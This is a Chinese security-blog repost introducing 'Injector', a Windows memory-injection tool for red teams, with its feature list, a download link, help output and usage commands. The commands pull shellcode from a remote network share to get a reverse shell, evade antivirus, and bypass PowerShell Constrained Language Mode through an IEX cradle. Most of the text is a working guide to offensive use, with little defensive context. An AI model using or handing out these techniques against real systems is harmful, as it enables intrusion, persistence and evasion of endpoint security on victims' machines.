研究人员如何使用Injector实现Windows下的内存注入

admin 2022年5月24日17:59:50评论33 views字数 2056阅读6分51秒阅读模式

关于Injector

Injector是一款功能齐全且强大的内存注入工具,该工具集成了多种技术,可以帮助红队研究人员实现在Windows系统下的内存注入。

Injector能做什么?

针对远程服务器和本地存储提供Shellcode注入支持。只需指定Shellcode文件,该工具将帮助我们完成后续的所有事情。默认情况下,工具会将Shellcode注入至exe,如果没有找到目标进程,它将会创建一个记事本进程,并注入其中实现持久化感染。

支持反射DLL注入,工具将下载DLL并注入远程进程。

通过exe实现进程镂空。

使用-bypass参数,以支持使用更高级的、未记录的API来进行进程注入。

支持加密的Shellcode,比如说AES加密或异或加密等。

支持针对PowerShell的CLM绕过,可以直接将代码存防止能够执行C#代码的白名单文件夹中,比如说“C:WindowsTasks”。

支持DLL镂空,通过dll实现。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/0xDivyanshu/Injector.git

工具帮助

C:Usersadmin>Injector.exeHelp Options for Xenon:-m       Mode of operation        -m 1     Specifies the mode as Process injection        -m 2     Specifies the mode as Reflective DLL Injection        -m 3     Specifies the mode as Process Hollowing        -m 4     No injection! Give me my damn shell        -m 5     Powershell session via CLM bypass        -m 6     DLL hollowing-TempFile        File location that your current user can read-shellcode       Use shellcode-dll     Use dll-decrypt-xor     Specify Xor decryption for shellcode         -pass   Specifty the password for Xor decryption-decrypt-aes     Specify aes decryption for shellcode         -pass   Specifty the password for aes decryption-location        Specify the location i.e either server or local-bypass         Uses enhance attempts to bypass AV

如需生成加密的Shellcode,请在Kali下使用Helper.exe。

工具使用样例

Injector.exe -m=1 -shellcode -encrypt-aes -pass=password -location="\192.x.x.xshareshellcode.txt" -bypass

上述命令将解密你的Shellcode并给你一个反向Shell。

如果你不想使用加密的Shellcode,你也可以直接使用下列命令运行下列命令:

Injector.exe -m=1 -shellcode -location="\192.x.x.xshareshellcode.txt"

将其中的“-m=1”修改为“2,3,4,6”之后,就可以运行其他模式了:

Injector.exe -m=5 -TempFile=C:\Users\user\sample.txt

上述命令将提供要给会话,我们可以使用它来执行IEX cradle,并获取一个能够绕过CLM的反向Shell。

PowerShell

你还可以使用Invoke-Exe.ps1来通过PowerShel执行Injector:

Invoke-Exe -loc C:Usersjohninjector.exe
转自:freebuf

研究人员如何使用Injector实现Windows下的内存注入

研究人员如何使用Injector实现Windows下的内存注入

推荐阅读   

【入门教程】常见的Web漏洞--XSS

【入门教程】常见的Web漏洞--SQL注入

sql注入--入门到进阶

短信验证码安全常见逻辑漏洞

最全常见Web安全漏洞总结及推荐解决方案

常见的Web应用的漏洞总结(原理、危害、防御)

代码审计常见漏洞总结

Web安全漏洞的靶场演示

13 款 Linux 比较实用的工具

xss攻击、绕过最全总结

研究人员如何使用Injector实现Windows下的内存注入

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧

原文始发于微信公众号(编码安全研究):研究人员如何使用Injector实现Windows下的内存注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月24日17:59:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   研究人员如何使用Injector实现Windows下的内存注入https://cn-sec.com/archives/1041582.html

发表评论

匿名网友 填写信息